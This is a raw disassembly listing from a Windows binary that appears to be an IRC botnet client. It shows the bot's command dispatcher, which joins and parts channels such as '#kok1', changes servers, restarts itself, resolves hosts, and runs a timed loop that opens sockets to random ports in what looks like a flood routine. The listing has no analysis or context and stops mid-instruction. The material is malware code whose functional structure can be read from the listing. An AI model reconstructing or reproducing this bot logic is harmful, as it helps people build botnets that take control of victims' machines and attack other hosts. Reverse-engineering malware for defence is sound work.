[ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset aPacked_exe ; "packed.exe" push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aKok1 ; "#kok1" call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE00 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 push offset aKok1 ; "#kok1" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE00 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aPartS ; "PART %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, off_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE08, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE08, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE08, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aModeS ; "MODE %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE5C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC00 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset a08x ; "%08X" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp 